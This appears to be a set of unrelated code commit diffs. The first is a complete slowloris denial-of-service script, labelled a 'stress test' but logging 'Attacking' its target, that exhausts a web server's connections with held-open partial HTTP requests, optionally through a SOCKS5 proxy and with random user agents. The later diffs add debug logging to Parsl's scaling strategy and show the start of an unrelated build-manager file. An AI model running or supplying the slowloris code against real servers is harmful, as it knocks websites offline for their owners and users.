<commit_before>#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import ssl
import sys
import time

parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host', nargs="?", help="Host to perform stress test on")
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS for the requests")
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")

if args.verbose:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

def init_socket(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    if args.https:
        s = ssl.wrap_socket(s)

    s.connect((ip, args.port))

    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    if args.randuseragent:
        s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
    else:
        s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
    s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
    return s

def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error:
            break
        list_of_sockets.append(s)

    while True:
        logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
        for s in list(list_of_sockets):
            try:
                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
            except socket.error:
                list_of_sockets.remove(s)

        for _ in range(socket_count - len(list_of_sockets)):
            logging.debug("Recreating socket...")
            try:
                s = init_socket(ip)
                if s:
                    list_of_sockets.append(s)
            except socket.error:
                break
        time.sleep(15)

if __name__ == "__main__":
    main()
<commit_msg>Update slowloris.py<commit_after>#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import ssl
import sys
import time

parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host', nargs="?", help="Host to perform stress test on")
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS for the requests")
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")

if args.verbose:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

def init_socket(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    if args.https:
        s = ssl.wrap_socket(s)

    s.connect((ip, args.port))

    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    if args.randuseragent:
        s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
    else:
        s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
    s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
    return s

def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error:
            break
        list_of_sockets.append(s)

    while True:
        try:
            logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
            for s in list(list_of_sockets):
                try:
                    s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
                except socket.error:
                    list_of_sockets.remove(s)

            for _ in range(socket_count - len(list_of_sockets)):
                logging.debug("Recreating socket...")
                try:
                    s = init_socket(ip)
                    if s:
                        list_of_sockets.append(s)
                except socket.error:
                    break
            time.sleep(15)

        except (KeyboardInterrupt, SystemExit):
            print("\nStopping Slowloris...")
            break

if __name__ == "__main__":
    main()
<|endoftext|>


<commit_before>import logging
import time
import math
from typing import List

from parsl.dataflow.executor_status import ExecutorStatus
from parsl.executors import HighThroughputExecutor
from parsl.providers.provider_base import JobState

logger = logging.getLogger(__name__)

class Strategy(object):
    """FlowControl strategy.

    As a workflow dag is processed by Parsl, new tasks are added and completed
    asynchronously. Parsl interfaces executors with execution providers to construct
    scalable executors to handle the variable work-load generated by the
    workflow. This component is responsible for periodically checking outstanding
    tasks and available compute capacity and trigger scaling events to match
    workflow needs.

    Here's a diagram of an executor. An executor consists of blocks, which are usually
    created by single requests to a Local Resource Manager (LRM) such as slurm,
    condor, torque, or even AWS API. The blocks could contain several task blocks
    which are separate instances on workers.

    .. code:: python

                |<--min_blocks     |<-init_blocks              max_blocks-->|
                +----------------------------------------------------------+
                |  +--------block----------+       +--------block--------+ |
     executor = |  | task          task    | ...   |    task      task   | |
                |  +-----------------------+       +---------------------+ |
                +----------------------------------------------------------+

    The relevant specification options are:
       1. min_blocks: Minimum number of blocks to maintain
       2. init_blocks: number of blocks to provision at initialization of workflow
       3. max_blocks: Maximum number of blocks that can be active due to one workflow

    .. code:: python

          active_tasks = pending_tasks + running_tasks

          Parallelism = slots / tasks
                      = [0, 1] (i.e,  0 <= p <= 1)

    For example:

    When p = 0,
         => compute with the least resources possible.
         infinite tasks are stacked per slot.

         .. code:: python

               blocks =  min_blocks           { if active_tasks = 0
                         max(min_blocks, 1)   {  else

    When p = 1,
         => compute with the most resources.
         one task is stacked per slot.

         .. code:: python

               blocks = min ( max_blocks,
                        ceil( active_tasks / slots ) )

    When p = 1/2,
         => We stack upto 2 tasks per slot before we overflow
         and request a new block

    let's say min:init:max = 0:0:4 and task_blocks=2
    Consider the following example:
    min_blocks = 0
    init_blocks = 0
    max_blocks = 4
    tasks_per_node = 2
    nodes_per_block = 1

    In the diagram, X <- task

    at 2 tasks:

    .. code:: python

        +---Block---|
        |           |
        | X      X  |
        |slot   slot|
        +-----------+

    at 5 tasks, we overflow as the capacity of a single block is fully used.

    .. code:: python

        +---Block---|       +---Block---|
        | X      X  | ----> |           |
        | X      X  |       | X         |
        |slot   slot|       |slot   slot|
        +-----------+       +-----------+

    """

    def __init__(self, dfk):
        """Initialize strategy."""
        self.dfk = dfk
        self.config = dfk.config
        self.executors = {}
        self.max_idletime = self.dfk.config.max_idletime

        for e in self.dfk.config.executors:
            self.executors[e.label] = {'idle_since': None, 'config': e.label}

        self.strategies = {None: self._strategy_noop,
                           'simple': self._strategy_simple,
                           'htex_auto_scale': self._strategy_htex_auto_scale}

        self.strategize = self.strategies[self.config.strategy]

        logger.debug("Scaling strategy: {0}".format(self.config.strategy))

    def add_executors(self, executors):
        for executor in executors:
            self.executors[executor.label] = {'idle_since': None, 'config': executor.label}

    def _strategy_noop(self, status: List[ExecutorStatus], tasks):
        """Do nothing.

        Args:
            - tasks (task_ids): Not used here.
        """

    def _strategy_simple(self, status_list, tasks):
        self._general_strategy(status_list, tasks, strategy_type='simple')

    def _strategy_htex_auto_scale(self, status_list, tasks):
        """HTEX specific auto scaling strategy

        This strategy works only for HTEX. This strategy will scale up by
        requesting additional compute resources via the provider when the
        workload requirements exceed the provisioned capacity. The scale out
        behavior is exactly like the 'simple' strategy.

        If there are idle blocks during execution, this strategy will terminate
        those idle blocks specifically. When # of tasks >> # of blocks, HTEX places
        tasks evenly across blocks, which makes it rather difficult to ensure that
        some blocks will reach 0% utilization. Consequently, this strategy can be
        expected to scale down effectively only when # of workers, or tasks executing
        per block is close to 1.

        Args:
            - tasks (task_ids): Not used here.
        """
        self._general_strategy(status_list, tasks, strategy_type='htex')

    def _general_strategy(self, status_list, tasks, *, strategy_type):
        for exec_status in status_list:
            executor = exec_status.executor
            label = executor.label
            if not executor.scaling_enabled:
                continue

            # Tasks that are either pending completion
            active_tasks = executor.outstanding

            status = exec_status.status

            # FIXME we need to handle case where provider does not define these
            # FIXME probably more of this logic should be moved to the provider
            min_blocks = executor.provider.min_blocks
            max_blocks = executor.provider.max_blocks
            tasks_per_node = executor.workers_per_node

            nodes_per_block = executor.provider.nodes_per_block
            parallelism = executor.provider.parallelism

            running = sum([1 for x in status.values() if x.state == JobState.RUNNING])
            pending = sum([1 for x in status.values() if x.state == JobState.PENDING])
            active_blocks = running + pending
            active_slots = active_blocks * tasks_per_node * nodes_per_block

            if hasattr(executor, 'connected_workers'):
                logger.debug('Executor {} has {} active tasks, {}/{} running/pending blocks, and {} connected workers'.format(
                    label, active_tasks, running, pending, executor.connected_workers))
            else:
                logger.debug('Executor {} has {} active tasks and {}/{} running/pending blocks'.format(
                    label, active_tasks, running, pending))

            # reset kill timer if executor has active tasks
            if active_tasks > 0 and self.executors[executor.label]['idle_since']:
                self.executors[executor.label]['idle_since'] = None

            # Case 1
            # No tasks.
            if active_tasks == 0:
                # Case 1a
                # Fewer blocks that min_blocks
                if active_blocks <= min_blocks:
                    # Ignore
                    # logger.debug("Strategy: Case.1a")
                    pass

                # Case 1b
                # More blocks than min_blocks. Scale down
                else:
                    # We want to make sure that max_idletime is reached
                    # before killing off resources
                    if not self.executors[executor.label]['idle_since']:
                        logger.debug("Executor {} has 0 active tasks; starting kill timer (if idle time exceeds {}s, resources will be removed)".format(
                            label, self.max_idletime)
                        )
                        self.executors[executor.label]['idle_since'] = time.time()

                    idle_since = self.executors[executor.label]['idle_since']
                    if (time.time() - idle_since) > self.max_idletime:
                        # We have resources idle for the max duration,
                        # we have to scale_in now.
                        logger.debug("Idle time has reached {}s for executor {}; removing resources".format(
                            self.max_idletime, label)
                        )
                        exec_status.scale_in(active_blocks - min_blocks)

                    else:
                        pass
                        # logger.debug("Strategy: Case.1b. Waiting for timer : {0}".format(idle_since))

            # Case 2
            # More tasks than the available slots.
            elif (float(active_slots) / active_tasks) < parallelism:
                # Case 2a
                # We have the max blocks possible
                if active_blocks >= max_blocks:
                    # Ignore since we already have the max nodes
                    # logger.debug("Strategy: Case.2a")
                    pass

                # Case 2b
                else:
                    # logger.debug("Strategy: Case.2b")
                    excess_slots = math.ceil((active_tasks * parallelism) - active_slots)
                    excess_blocks = math.ceil(float(excess_slots) / (tasks_per_node * nodes_per_block))
                    excess_blocks = min(excess_blocks, max_blocks - active_blocks)
                    logger.debug("Requesting {} more blocks".format(excess_blocks))
                    exec_status.scale_out(excess_blocks)

            elif active_slots == 0 and active_tasks > 0:
                # Case 4
                logger.debug("Requesting single slot")
                if active_blocks < max_blocks:
                    exec_status.scale_out(1)

            # Case 4
            # More slots than tasks
            elif active_slots > 0 and active_slots > active_tasks:
                if strategy_type == 'htex':
                    # Scale down for htex
                    logger.debug("More slots than tasks")
                    if isinstance(executor, HighThroughputExecutor):
                        if active_blocks > min_blocks:
                            excess_slots = math.ceil(active_slots - (active_tasks * parallelism))
                            excess_blocks = math.ceil(float(excess_slots) / (tasks_per_node * nodes_per_block))
                            excess_blocks = min(excess_blocks, active_blocks - min_blocks)
                            exec_status.scale_in(excess_blocks, force=False, max_idletime=self.max_idletime)

                elif strategy_type == 'simple':
                    # skip for simple strategy
                    pass

            # Case 3
            # tasks ~ slots
            else:
                # logger.debug("Strategy: Case 3")
                pass
<commit_msg>Add a lot of debug logging to explain strategies (#2356)<commit_after>import logging
import time
import math
from typing import List

from parsl.dataflow.executor_status import ExecutorStatus
from parsl.executors import HighThroughputExecutor
from parsl.providers.provider_base import JobState
from parsl.process_loggers import wrap_with_logs

logger = logging.getLogger(__name__)

class Strategy(object):
    """FlowControl strategy.

    As a workflow dag is processed by Parsl, new tasks are added and completed
    asynchronously. Parsl interfaces executors with execution providers to construct
    scalable executors to handle the variable work-load generated by the
    workflow. This component is responsible for periodically checking outstanding
    tasks and available compute capacity and trigger scaling events to match
    workflow needs.

    Here's a diagram of an executor. An executor consists of blocks, which are usually
    created by single requests to a Local Resource Manager (LRM) such as slurm,
    condor, torque, or even AWS API. The blocks could contain several task blocks
    which are separate instances on workers.

    .. code:: python

                |<--min_blocks     |<-init_blocks              max_blocks-->|
                +----------------------------------------------------------+
                |  +--------block----------+       +--------block--------+ |
     executor = |  | task          task    | ...   |    task      task   | |
                |  +-----------------------+       +---------------------+ |
                +----------------------------------------------------------+

    The relevant specification options are:
       1. min_blocks: Minimum number of blocks to maintain
       2. init_blocks: number of blocks to provision at initialization of workflow
       3. max_blocks: Maximum number of blocks that can be active due to one workflow

    .. code:: python

          active_tasks = pending_tasks + running_tasks

          Parallelism = slots / tasks
                      = [0, 1] (i.e,  0 <= p <= 1)

    For example:

    When p = 0,
         => compute with the least resources possible.
         infinite tasks are stacked per slot.

         .. code:: python

               blocks =  min_blocks           { if active_tasks = 0
                         max(min_blocks, 1)   {  else

    When p = 1,
         => compute with the most resources.
         one task is stacked per slot.

         .. code:: python

               blocks = min ( max_blocks,
                        ceil( active_tasks / slots ) )

    When p = 1/2,
         => We stack upto 2 tasks per slot before we overflow
         and request a new block

    let's say min:init:max = 0:0:4 and task_blocks=2
    Consider the following example:
    min_blocks = 0
    init_blocks = 0
    max_blocks = 4
    tasks_per_node = 2
    nodes_per_block = 1

    In the diagram, X <- task

    at 2 tasks:

    .. code:: python

        +---Block---|
        |           |
        | X      X  |
        |slot   slot|
        +-----------+

    at 5 tasks, we overflow as the capacity of a single block is fully used.

    .. code:: python

        +---Block---|       +---Block---|
        | X      X  | ----> |           |
        | X      X  |       | X         |
        |slot   slot|       |slot   slot|
        +-----------+       +-----------+

    """

    def __init__(self, dfk):
        """Initialize strategy."""
        self.dfk = dfk
        self.config = dfk.config
        self.executors = {}
        self.max_idletime = self.dfk.config.max_idletime

        for e in self.dfk.config.executors:
            self.executors[e.label] = {'idle_since': None, 'config': e.label}

        self.strategies = {None: self._strategy_noop,
                           'simple': self._strategy_simple,
                           'htex_auto_scale': self._strategy_htex_auto_scale}

        self.strategize = self.strategies[self.config.strategy]

        logger.debug("Scaling strategy: {0}".format(self.config.strategy))

    def add_executors(self, executors):
        for executor in executors:
            self.executors[executor.label] = {'idle_since': None, 'config': executor.label}

    def _strategy_noop(self, status: List[ExecutorStatus], tasks):
        """Do nothing.

        Args:
            - tasks (task_ids): Not used here.
        """
        logger.debug("strategy_noop: doing nothing")

    def _strategy_simple(self, status_list, tasks):
        self._general_strategy(status_list, tasks, strategy_type='simple')

    def _strategy_htex_auto_scale(self, status_list, tasks):
        """HTEX specific auto scaling strategy

        This strategy works only for HTEX. This strategy will scale out by
        requesting additional compute resources via the provider when the
        workload requirements exceed the provisioned capacity. The scale out
        behavior is exactly like the 'simple' strategy.

        If there are idle blocks during execution, this strategy will terminate
        those idle blocks specifically. When # of tasks >> # of blocks, HTEX places
        tasks evenly across blocks, which makes it rather difficult to ensure that
        some blocks will reach 0% utilization. Consequently, this strategy can be
        expected to scale in effectively only when # of workers, or tasks executing
        per block is close to 1.

        Args:
            - tasks (task_ids): Not used here.
        """
        self._general_strategy(status_list, tasks, strategy_type='htex')

    @wrap_with_logs
    def _general_strategy(self, status_list, tasks, *, strategy_type):
        logger.debug(f"general strategy starting with strategy_type {strategy_type}")

        for exec_status in status_list:
            executor = exec_status.executor
            label = executor.label
            if not executor.scaling_enabled:
                logger.debug(f"Not strategizing for executor {label} because scaling not enabled")
                continue
            logger.debug(f"Strategizing for executor {label}")

            # Tasks that are either pending completion
            active_tasks = executor.outstanding

            status = exec_status.status

            # FIXME we need to handle case where provider does not define these
            # FIXME probably more of this logic should be moved to the provider
            min_blocks = executor.provider.min_blocks
            max_blocks = executor.provider.max_blocks
            tasks_per_node = executor.workers_per_node

            nodes_per_block = executor.provider.nodes_per_block
            parallelism = executor.provider.parallelism

            running = sum([1 for x in status.values() if x.state == JobState.RUNNING])
            pending = sum([1 for x in status.values() if x.state == JobState.PENDING])
            active_blocks = running + pending
            active_slots = active_blocks * tasks_per_node * nodes_per_block

            logger.debug(f"Slot ratio calculation: active_slots = {active_slots}, active_tasks = {active_tasks}")

            if hasattr(executor, 'connected_workers'):
                logger.debug('Executor {} has {} active tasks, {}/{} running/pending blocks, and {} connected workers'.format(
                    label, active_tasks, running, pending, executor.connected_workers))
            else:
                logger.debug('Executor {} has {} active tasks and {}/{} running/pending blocks'.format(
                    label, active_tasks, running, pending))

            # reset idle timer if executor has active tasks

            if active_tasks > 0 and self.executors[executor.label]['idle_since']:
                self.executors[executor.label]['idle_since'] = None

            # Case 1
            # No tasks.
            if active_tasks == 0:
                # Case 1a
                logger.debug("Strategy case 1: Executor has no active tasks")

                # Fewer blocks that min_blocks
                if active_blocks <= min_blocks:
                    logger.debug("Strategy case 1a: Executor has no active tasks and minimum blocks. Taking no action.")
                # Case 1b
                # More blocks than min_blocks. Scale in
                else:
                    # We want to make sure that max_idletime is reached
                    # before killing off resources
                    logger.debug(f"Strategy case 1b: Executor has no active tasks, and more ({active_blocks}) than minimum blocks ({min_blocks})")

                    if not self.executors[executor.label]['idle_since']:
                        logger.debug(f"Starting idle timer for executor. If idle time exceeds {self.max_idletime}s, blocks will be scaled in")
                        self.executors[executor.label]['idle_since'] = time.time()

                    idle_since = self.executors[executor.label]['idle_since']
                    idle_duration = time.time() - idle_since
                    if idle_duration > self.max_idletime:
                        # We have resources idle for the max duration,
                        # we have to scale_in now.
                        logger.debug(f"Idle time has reached {self.max_idletime}s for executor {label}; scaling in")
                        exec_status.scale_in(active_blocks - min_blocks)

                    else:
                        logger.debug(f"Idle time {idle_duration} is less than max_idletime {self.max_idletime}s for executor {label}; not scaling in")

            # Case 2
            # More tasks than the available slots.
            elif (float(active_slots) / active_tasks) < parallelism:
                logger.debug("Strategy case 2: slots are overloaded - (slot_ratio = active_slots/active_tasks) < parallelism")

                # Case 2a
                # We have the max blocks possible
                if active_blocks >= max_blocks:
                    # Ignore since we already have the max nodes
                    logger.debug(f"Strategy case 2a: active_blocks {active_blocks} >= max_blocks {max_blocks} so not scaling out")
                # Case 2b
                else:
                    logger.debug(f"Strategy case 2b: active_blocks {active_blocks} < max_blocks {max_blocks} so scaling out")
                    excess_slots = math.ceil((active_tasks * parallelism) - active_slots)
                    excess_blocks = math.ceil(float(excess_slots) / (tasks_per_node * nodes_per_block))
                    excess_blocks = min(excess_blocks, max_blocks - active_blocks)
                    logger.debug(f"Requesting {excess_blocks} more blocks")
                    exec_status.scale_out(excess_blocks)

            elif active_slots == 0 and active_tasks > 0:
                logger.debug("Strategy case 4a: No active slots but some active tasks - could scale out by a single block")

                # Case 4a
                if active_blocks < max_blocks:
                    logger.debug("Requesting single block")

                    exec_status.scale_out(1)
                else:
                    logger.debug("Not requesting single block, because at maxblocks already")

            # Case 4b
            # More slots than tasks
            elif active_slots > 0 and active_slots > active_tasks:
                logger.debug("Strategy case 4b: more slots than tasks")
                if strategy_type == 'htex':
                    # Scale in for htex
                    if isinstance(executor, HighThroughputExecutor):
                        if active_blocks > min_blocks:
                            excess_slots = math.ceil(active_slots - (active_tasks * parallelism))
                            excess_blocks = math.ceil(float(excess_slots) / (tasks_per_node * nodes_per_block))
                            excess_blocks = min(excess_blocks, active_blocks - min_blocks)
                            logger.debug(f"Requesting scaling in by {excess_blocks} blocks")
                            exec_status.scale_in(excess_blocks, force=False, max_idletime=self.max_idletime)
                    else:
                        logger.error("This strategy does not support scaling in except for HighThroughputExecutor - taking no action")
                else:
                    logger.debug("This strategy does not support scaling in")

            # Case 3
            # tasks ~ slots
            else:
                logger.debug("Strategy case 3: no changes necessary to current block load")
<|endoftext|>


<commit_before>"""

"""
from functools import partial
import json
import os
import shutil
import tempfile
import datetime
import logging

from dock.constants import BUILD_JSON, RESULTS_JSON
from dock.build import BuilderStateMachine
from dock.core import DockerTasker, BuildContainerFactory
from dock.inner import BuildResultsJSONDecoder, BuildResults
from dock.util import wait_for_command

logger = logging.getLogger(__name__)

class BuildManager(BuilderStateMachine):
    """
    initiates build and waits for it to finish, then it collects data
    """
    def __init__(self, build_image, build_args):
        BuilderStateMachine.__init__(self)
        self.build_image = build_image
        self.build_args = build_args
        self.image = build_args['image']
        self.git_url = build_args['git_url']

        self.temp_dir = None
        # build image after build
        self.buildroot_image_id = None
        self.buildroot_image_tag = None
        self.buildroot_image_name = None
        self.dt = DockerTasker()

    def _build(self, build_method):
